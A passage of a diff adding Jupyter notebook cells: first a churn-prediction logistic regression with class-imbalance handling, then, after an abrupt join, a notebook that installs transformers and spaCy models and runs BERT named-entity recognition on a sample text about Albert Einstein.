"021114d2-813c-4579-aba0-b0112da318e7" + }, + "outputs": [], + "source": [ + "logistic_regression(data, class_col='churn', cols_to_exclude=['customer_id', 'phone_no', 'year'])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "H9VkVEB6lTvZ" + }, + "outputs": [], + "source": [ + "def prepare_data(data, class_col, cols_to_exclude):\n", + " ## Split in training and test set\n", + " ## Selecting only the numerical columns and excluding the columns we specified in the function\n", + " cols = data.select_dtypes(include=np.number).columns.tolist() \n", + " X = data[cols]\n", + " X = X[X.columns.difference([class_col])] \n", + " X = X[X.columns.difference(cols_to_exclude)]\n", + " ## Selecting y as a column\n", + " y = data[class_col]\n", + " return train_test_split(X, y, test_size=0.3, random_state=0) # perform train test split" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "HaJzCmF0l6n9" + }, + "outputs": [], + "source": [ + "def run_model(X_train, X_test, y_train, y_test):\n", + " # Fitting the logistic regression\n", + " logreg = LogisticRegression(random_state=13)\n", + " logreg.fit(X_train, y_train) # fit the model\n", + " # Predicting y values\n", + " y_pred = logreg.predict(X_test) # make predictions on th test data\n", + " logit_roc_auc = roc_auc_score(y_test, logreg.predict(X_test))\n", + " print(classification_report(y_test, y_pred)) # check for classification report \n", + " print(\"The area under the curve is:\", logit_roc_auc) # check for AUC\n", + " return y_pred" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "GsjB3X51m5Fh", + "outputId": "0dce3d78-e373-42d7-e5ea-f63b6b9991ab" + }, + "outputs": [], + "source": [ + "X_train, X_test, y_train, y_test = prepare_data(data, class_col='churn', cols_to_exclude=['customer_id', 'phone_no', 'year'])\n", + "y_pred = run_model(X_train, X_test, y_train, y_test)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "l1foHWuxfpr7" + }, + "outputs": [], + "source": [ + "from sklearn.metrics import confusion_matrix\n", + "\n", + "def confusion_m(y_test, y_pred):\n", + " cm = confusion_matrix(y_test, y_pred)\n", + " print(cm)\n", + " tn, fp, fn, tp = cm.ravel()\n", + " print(\"TN:\", tn)\n", + " print(\"TP:\", tp)\n", + " print(\"FN:\", fn)\n", + " print(\"FP:\", fp)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "cipNEx9R9iRE", + "outputId": "09c7dcb6-3923-46c7-e0dc-3a21721fb343" + }, + "outputs": [], + "source": [ + "## Call the function\n", + "confusion_m(y_test, y_pred)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ksRCpBZCng5k" + }, + "outputs": [], + "source": [ + "# class imbalance method 1 \n", + "def run_model_bweights(X_train, X_test, y_train, y_test):\n", + " logreg = LogisticRegression(random_state=13, class_weight='balanced') # define class_weight parameter\n", + " logreg.fit(X_train, y_train) # fit the model \n", + " y_pred = logreg.predict(X_test) # predict on test data\n", + " logit_roc_auc = roc_auc_score(y_test, logreg.predict(X_test)) # ROC AUC score\n", + " print(classification_report(y_test, y_pred)) \n", + " print(\"The area under the curve is:\", logit_roc_auc) # AUC curve" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "wAWyH-cBoYow", + "outputId": "24347c88-d87f-4bc8-fe08-f6314d83bad7" + }, + "outputs": [], + "source": [ + "run_model_bweights(X_train, X_test, y_train, y_test)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "eHQ5X6-Dobc6" + }, + "outputs": [], + "source": [ + "# class imbalance method 2\n", + "def run_model_aweights(X_train, X_test, y_train, y_test, w):\n", + " logreg = LogisticRegression(random_state=13, class_weight=w) # define class_weight parameter\n", + " logreg.fit(X_train, y_train) # fit the model \n", + " y_pred = logreg.predict(X_test) # predict on test data\n", + " logit_roc_auc = roc_auc_score(y_test, logreg.predict(X_test)) # ROC AUC score\n", + " print(classification_report(y_test, y_pred))\n", + " print(\"The area under the curve is: %0.2f\"%logit_roc_auc) # AUC curve" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "XCU6OwiNxabC", + "outputId": "5eb4ea9a-d72b-4611-8ab9-c6881bf394a6" + }, + "outputs": [], + "source": [ + "run_model_aweights(X_train,X_test,y_train,y_test,{0:90, 1:10})" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "PoF1mh1xopI9" + }, + "outputs": [], + "source": [ + "# class imbalance method 3\n", + "def adjust_imbalance(X_train, y_train, class_col):\n", + " X = pd.concat([X_train, y_train], axis=1)\n", + " # separate the 2 classes. Here we divide majority and minority classes\n", + " class0 = X[X[class_col] == 0]\n", + " class1 = X[X[class_col] == 1]\n", + " # Case 1 - bootstraps from the minority class\n", + " if len(class1)=0.11.1\n", + " Downloading tokenizers-0.12.1-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (6.6 MB)\n", + "\u001b[K |████████████████████████████████| 6.6 MB 42.9 MB/s \n", + "\u001b[?25hCollecting huggingface-hub<1.0,>=0.1.0\n", + " Downloading huggingface_hub-0.5.1-py3-none-any.whl (77 kB)\n", + "\u001b[K |████████████████████████████████| 77 kB 6.1 MB/s \n", + "\u001b[?25hRequirement already satisfied: tqdm>=4.27 in /usr/local/lib/python3.7/dist-packages (from transformers) (4.64.0)\n", + "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers) (2019.12.20)\n", + "Requirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers) (3.6.0)\n", + "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from transformers) (21.3)\n", + "Collecting pyyaml>=5.1\n", + " Downloading PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (596 kB)\n", + "\u001b[K |████████████████████████████████| 596 kB 58.5 MB/s \n", + "\u001b[?25hRequirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers) (4.11.3)\n", + "Requirement already satisfied: requests in /usr/local/lib/python3.7/dist-packages (from transformers) (2.23.0)\n", + "Requirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.7/dist-packages (from transformers) (1.21.6)\n", + "Collecting sacremoses\n", + " Downloading sacremoses-0.0.49-py3-none-any.whl (895 kB)\n", + "\u001b[K |████████████████████████████████| 895 kB 48.0 MB/s \n", + "\u001b[?25hRequirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.7/dist-packages (from huggingface-hub<1.0,>=0.1.0->transformers) (4.1.1)\n", + "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->transformers) (3.0.8)\n", + "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from importlib-metadata->transformers) (3.8.0)\n", + "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests->transformers) (1.24.3)\n", + "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests->transformers) (2021.10.8)\n", + "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests->transformers) (3.0.4)\n", + "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests->transformers) (2.10)\n", + "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers) (1.15.0)\n", + "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers) (1.1.0)\n", + "Requirement already satisfied: click in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers) (7.1.2)\n", + "Installing collected packages: pyyaml, tokenizers, sacremoses, huggingface-hub, transformers, sentencepiece\n", + " Attempting uninstall: pyyaml\n", + " Found existing installation: PyYAML 3.13\n", + " Uninstalling PyYAML-3.13:\n", + " Successfully uninstalled PyYAML-3.13\n", + "Successfully installed huggingface-hub-0.5.1 pyyaml-6.0 sacremoses-0.0.49 sentencepiece-0.1.96 tokenizers-0.12.1 transformers-4.18.0\n" + ] + } + ] + }, + { + "cell_type": "code", + "source": [ + "!pip install https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "X_UZvMU1um1s", + "outputId": "9e41b500-63df-4e87-b771-422acca609cd" + }, + "execution_count": 2, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Collecting en-core-web-trf==3.2.0\n", + " Downloading https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl (460.2 MB)\n", + "\u001b[K |████████████████████████████████| 460.2 MB 29 kB/s \n", + "\u001b[?25hCollecting spacy-transformers<1.2.0,>=1.1.2\n", + " Downloading spacy_transformers-1.1.5-py2.py3-none-any.whl (51 kB)\n", + "\u001b[K |████████████████████████████████| 51 kB 147 kB/s \n", + "\u001b[?25hCollecting spacy<3.3.0,>=3.2.0\n", + " Downloading spacy-3.2.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (6.0 MB)\n", + "\u001b[K |████████████████████████████████| 6.0 MB 7.4 MB/s \n", + "\u001b[?25hRequirement already satisfied: blis<0.8.0,>=0.4.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (0.4.1)\n", + "Requirement already satisfied: jinja2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.11.3)\n", + "Requirement already satisfied: preshed<3.1.0,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.0.6)\n", + "Collecting thinc<8.1.0,>=8.0.12\n", + " Downloading thinc-8.0.15-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (653 kB)\n", + "\u001b[K |████████████████████████████████| 653 kB 66.8 MB/s \n", + "\u001b[?25hRequirement already satisfied: murmurhash<1.1.0,>=0.28.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (1.0.6)\n", + "Collecting pydantic!=1.8,!=1.8.1,<1.9.0,>=1.7.4\n", + " Downloading pydantic-1.8.2-cp37-cp37m-manylinux2014_x86_64.whl (10.1 MB)\n", + "\u001b[K |████████████████████████████████| 10.1 MB 67.8 MB/s \n", + "\u001b[?25hCollecting catalogue<2.1.0,>=2.0.6\n", + " Downloading catalogue-2.0.7-py3-none-any.whl (17 kB)\n", + "Collecting typer<0.5.0,>=0.3.0\n", + " Downloading typer-0.4.1-py3-none-any.whl (27 kB)\n", + "Collecting spacy-legacy<3.1.0,>=3.0.8\n", + " Downloading spacy_legacy-3.0.9-py2.py3-none-any.whl (20 kB)\n", + "Requirement already satisfied: wasabi<1.1.0,>=0.8.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (0.9.1)\n", + "Collecting langcodes<4.0.0,>=3.2.0\n", + " Downloading langcodes-3.3.0-py3-none-any.whl (181 kB)\n", + "\u001b[K |████████████████████████████████| 181 kB 73.9 MB/s \n", + "\u001b[?25hCollecting srsly<3.0.0,>=2.4.1\n", + " Downloading srsly-2.4.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (457 kB)\n", + "\u001b[K |████████████████████████████████| 457 kB 56.4 MB/s \n", + "\u001b[?25hCollecting spacy-loggers<2.0.0,>=1.0.0\n", + " Downloading spacy_loggers-1.0.2-py3-none-any.whl (7.2 kB)\n", + "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (21.3)\n", + "Requirement already satisfied: numpy>=1.15.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (1.21.6)\n", + "Requirement already satisfied: cymem<2.1.0,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.0.6)\n", + "Requirement already satisfied: click<8.1.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (7.1.2)\n", + "Requirement already satisfied: tqdm<5.0.0,>=4.38.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (4.64.0)\n", + "Requirement already satisfied: requests<3.0.0,>=2.13.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.23.0)\n", + "Requirement already satisfied: setuptools in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (57.4.0)\n", + "Collecting pathy>=0.3.5\n", + " Downloading pathy-0.6.1-py3-none-any.whl (42 kB)\n", + "\u001b[K |████████████████████████████████| 42 kB 1.4 MB/s \n", + "\u001b[?25hCollecting typing-extensions<4.0.0.0,>=3.7.4\n", + " Downloading typing_extensions-3.10.0.2-py3-none-any.whl (26 kB)\n", + "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from catalogue<2.1.0,>=2.0.6->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.8.0)\n", + "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.0.8)\n", + "Requirement already satisfied: smart-open<6.0.0,>=5.0.0 in /usr/local/lib/python3.7/dist-packages (from pathy>=0.3.5->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (5.2.1)\n", + "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2021.10.8)\n", + "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.0.4)\n", + "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.10)\n", + "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (1.24.3)\n", + "Collecting transformers<4.18.0,>=3.4.0\n", + " Downloading transformers-4.17.0-py3-none-any.whl (3.8 MB)\n", + "\u001b[K |████████████████████████████████| 3.8 MB 53.2 MB/s \n", + "\u001b[?25hRequirement already satisfied: torch>=1.6.0 in /usr/local/lib/python3.7/dist-packages (from spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.10.0+cu111)\n", + "Collecting spacy-alignments<1.0.0,>=0.7.2\n", + " Downloading spacy_alignments-0.8.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.1 MB)\n", + "\u001b[K |████████████████████████████████| 1.1 MB 50.1 MB/s \n", + "\u001b[?25hRequirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (6.0)\n", + "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (2019.12.20)\n", + "Requirement already satisfied: tokenizers!=0.11.3,>=0.11.1 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.12.1)\n", + "Requirement already satisfied: sacremoses in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.0.49)\n", + "Requirement already satisfied: huggingface-hub<1.0,>=0.1.0 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.5.1)\n", + "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (4.11.3)\n", + "Requirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (3.6.0)\n", + "Requirement already satisfied: MarkupSafe>=0.23 in /usr/local/lib/python3.7/dist-packages (from jinja2->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.0.1)\n", + "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.1.0)\n", + "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.15.0)\n", + "Installing collected packages: typing-extensions, catalogue, typer, srsly, pydantic, thinc, spacy-loggers, spacy-legacy, pathy, langcodes, transformers, spacy-alignments, spacy, spacy-transformers, en-core-web-trf\n", + " Attempting uninstall: typing-extensions\n", + " Found existing installation: typing-extensions 4.1.1\n", + " Uninstalling typing-extensions-4.1.1:\n", + " Successfully uninstalled typing-extensions-4.1.1\n", + " Attempting uninstall: catalogue\n", + " Found existing installation: catalogue 1.0.0\n", + " Uninstalling catalogue-1.0.0:\n", + " Successfully uninstalled catalogue-1.0.0\n", + " Attempting uninstall: srsly\n", + " Found existing installation: srsly 1.0.5\n", + " Uninstalling srsly-1.0.5:\n", + " Successfully uninstalled srsly-1.0.5\n", + " Attempting uninstall: thinc\n", + " Found existing installation: thinc 7.4.0\n", + " Uninstalling thinc-7.4.0:\n", + " Successfully uninstalled thinc-7.4.0\n", + " Attempting uninstall: transformers\n", + " Found existing installation: transformers 4.18.0\n", + " Uninstalling transformers-4.18.0:\n", + " Successfully uninstalled transformers-4.18.0\n", + " Attempting uninstall: spacy\n", + " Found existing installation: spacy 2.2.4\n", + " Uninstalling spacy-2.2.4:\n", + " Successfully uninstalled spacy-2.2.4\n", + "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n", + "tensorflow 2.8.0 requires tf-estimator-nightly==2.8.0.dev2021122109, which is not installed.\u001b[0m\n", + "Successfully installed catalogue-2.0.7 en-core-web-trf-3.2.0 langcodes-3.3.0 pathy-0.6.1 pydantic-1.8.2 spacy-3.2.4 spacy-alignments-0.8.5 spacy-legacy-3.0.9 spacy-loggers-1.0.2 spacy-transformers-1.1.5 srsly-2.4.3 thinc-8.0.15 transformers-4.17.0 typer-0.4.1 typing-extensions-3.10.0.2\n" + ] + } + ] + }, + { + "cell_type": "code", + "source": [ + "!python -m spacy download en_core_web_sm" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "gX5UQMXtt7Cx", + "outputId": "fd848ea2-7dbd-4230-e0fe-b1ef88339e0e" + }, + "execution_count": 3, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Collecting en-core-web-sm==3.2.0\n", + " Downloading https://github.com/explosion/spacy-models/releases/download/en_core_web_sm-3.2.0/en_core_web_sm-3.2.0-py3-none-any.whl (13.9 MB)\n", + "\u001b[K |████████████████████████████████| 13.9 MB 5.1 MB/s \n", + "\u001b[?25hRequirement already satisfied: spacy<3.3.0,>=3.2.0 in /usr/local/lib/python3.7/dist-packages (from en-core-web-sm==3.2.0) (3.2.4)\n", + "Requirement already satisfied: pathy>=0.3.5 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.6.1)\n", + "Requirement already satisfied: thinc<8.1.0,>=8.0.12 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (8.0.15)\n", + "Requirement already satisfied: jinja2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.11.3)\n", + "Requirement already satisfied: setuptools in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (57.4.0)\n", + "Requirement already satisfied: requests<3.0.0,>=2.13.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.23.0)\n", + "Requirement already satisfied: preshed<3.1.0,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.6)\n", + "Requirement already satisfied: click<8.1.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (7.1.2)\n", + "Requirement already satisfied: numpy>=1.15.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.21.6)\n", + "Requirement already satisfied: langcodes<4.0.0,>=3.2.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.3.0)\n", + "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (21.3)\n", + "Requirement already satisfied: typer<0.5.0,>=0.3.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.4.1)\n", + "Requirement already satisfied: cymem<2.1.0,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.6)\n", + "Requirement already satisfied: catalogue<2.1.0,>=2.0.6 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.7)\n", + "Requirement already satisfied: pydantic!=1.8,!=1.8.1,<1.9.0,>=1.7.4 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.8.2)\n", + "Requirement already satisfied: srsly<3.0.0,>=2.4.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.4.3)\n", + "Requirement already satisfied: tqdm<5.0.0,>=4.38.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (4.64.0)\n", + "Requirement already satisfied: murmurhash<1.1.0,>=0.28.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.0.6)\n", + "Requirement already satisfied: typing-extensions<4.0.0.0,>=3.7.4 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.10.0.2)\n", + "Requirement already satisfied: spacy-loggers<2.0.0,>=1.0.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.0.2)\n", + "Requirement already satisfied: wasabi<1.1.0,>=0.8.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.9.1)\n", + "Requirement already satisfied: blis<0.8.0,>=0.4.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.4.1)\n", + "Requirement already satisfied: spacy-legacy<3.1.0,>=3.0.8 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.9)\n", + "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from catalogue<2.1.0,>=2.0.6->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.8.0)\n", + "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.8)\n", + "Requirement already satisfied: smart-open<6.0.0,>=5.0.0 in /usr/local/lib/python3.7/dist-packages (from pathy>=0.3.5->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (5.2.1)\n", + "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2021.10.8)\n", + "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.10)\n", + "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.24.3)\n", + "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.4)\n", + "Requirement already satisfied: MarkupSafe>=0.23 in /usr/local/lib/python3.7/dist-packages (from jinja2->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.1)\n", + "Installing collected packages: en-core-web-sm\n", + " Attempting uninstall: en-core-web-sm\n", + " Found existing installation: en-core-web-sm 2.2.5\n", + " Uninstalling en-core-web-sm-2.2.5:\n", + " Successfully uninstalled en-core-web-sm-2.2.5\n", + "Successfully installed en-core-web-sm-3.2.0\n", + "\u001b[38;5;2m✔ Download and installation successful\u001b[0m\n", + "You can now load the package via spacy.load('en_core_web_sm')\n" + ] + } + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "id": "cWM2ZmQj-7cL" + }, + "outputs": [], + "source": [ + "import spacy\n", + "from transformers import *" + ] + }, + { + "cell_type": "code", + "source": [ + "# sample text from Wikipedia\n", + "text = \"\"\"\n", + "Albert Einstein was a German-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n", + "Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n", + "Einstein was born in the German Empire, but moved to Switzerland in 1895, forsaking his German citizenship (as a subject of the Kingdom of Württemberg) the following year. \n", + "In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the Swiss Federal polytechnic school in Zürich, graduating in 1900\n", + "\"\"\"" + ], + "metadata": { + "id": "c8Fpojshvz5q" + }, + "execution_count": 5, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "# load BERT model fine-tuned for Named Entity Recognition (NER)\n", + "ner = pipeline(\"ner\", model=\"dslim/bert-base-NER\")" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000, + "referenced_widgets": [ + "d003aee1f68448d080b131160fbf0f42", + "13a93cbb501d449c8367e875f84dc8af", + "dd4901e643d140b8b75c6031359a35ed", + "510b8cdd5bfa44458b2bb63da21b5a5c", + "86f81b96b4a5459182ba60ca550f44b6", + "2c10acf72c97479c82ac853a5cd372bc", + "9aaca0628fca4f2eaa79ce470f1cbe04", + "7fb5607ab7174cdc8bbf91de38736aae", + "5cb5ef67c23b49d8b60267a3243bda7e", + "e3e2f4c00d87492b8910320d2013b2ed", + "edbcb62bb5d74021a43a6fa87813dc6f", + "1ea8bede937f4f2a86aa2a3e171f01f5", + "e9ba81a5262a4064a4b264dbd65be72a", + "8d36d6398f82455297c54752cfa75e19", + "acf9e37b852648bc9bde3a9b9e46e88e", + "47eff52636ad46b4a9921786fac2a87a", + "d0185c3829a3430e84d66c2e2e822e24", + "7d319e1748a34187860166041ba58bfb", + "78d2ab9bcad3473c871f42ee10a47cde", + "30771e225ce84020992c4c6d0272ce91", + "870eab9ef32d4dd7a3888f1c8b2fd866", + "20d165e3ad6f4151adc337c8852c5af0", + "9e3f6b5478bc40b59588b45a21baa8ba", + "26d5fe3ca4da42688dd94c4de885802b", + "42d869ff361446a8b174853e54ba0d5d", + "92f7d6b9cbb44b32acf5ada208358b6b", + "41082754c88d4a83b67ad55e4abbfa41", + "42a20dc48a7246f5bfe37a434eb5ea99", + "d9a1d7a2099948a18d061b9312909de4", + "1d196a6c69df4805a7d32cc34e6c5a71", + "7b8a749775c14ea19cd27a8b6d21ec66", + "062f5d1b87d841eda66a6392bc755da9", + "9cb592a10fe9403a9f70ca8c1179979a", + "8b83c336f76a450998d42074740f8ba7", + "61e34de53f824bbda1c44081fe1a8db7", + "53e0ebbe06874a9d9f063b8e2f227a82", + "a4674d3d476e4e34b65137195b926cc4", + 